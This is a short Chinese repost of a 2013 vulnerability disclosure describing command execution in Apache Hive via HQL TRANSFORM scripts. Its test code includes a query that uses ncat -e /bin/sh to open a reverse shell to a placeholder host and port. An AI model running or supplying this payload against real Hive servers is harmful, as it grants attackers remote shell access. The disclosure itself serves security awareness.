Hive命令执行漏洞

Author: kindleDate: 2013-02-9
Hive是建立在 Hadoop 上的数据仓库基础构架。它提供了一系列的工具,可以用来进行数据提取转化加载(ETL),这是一种可以存储、查询和分析存储在 Hadoop 中的大规模数据的机制。Hive 定义了简单的类 SQL 查询语言,称为 QL,它允许熟悉 SQL 的用户查询数据。同时,这个语言也允许熟悉 MapReduce 开发者的开发自定义的 mapper 和 reducer 来处理内建的 mapper 和 reducer 无法完成的复杂的分析工作。
漏洞详情
HQL可以通过transform自定义Hive使用的 Map/Reduce 脚本,从而调用shell/Python等语言,导致攻击者可以通过hive接口等相关操作方式直接获取服务器权限
测试代码
cat /root/test1 test
创建测试表create table if not exists kindle(id int,test string);通过transform来自定义hive使用的shell命令,反弹shellselect transform(id) USING ‘/usr/bin/ncat -e /bin/sh ip port’ from kindle;删除测试表drop table kindle;

《Hive命令执行漏洞》

漏洞状态

通知了部分大公司,尚未联系官方

    原文作者:小谷先生
    原文地址: https://www.jianshu.com/p/956bc2339d70
    本文转自网络文章,转载此文章仅为分享知识,如有侵权,请联系博主进行删除。
点赞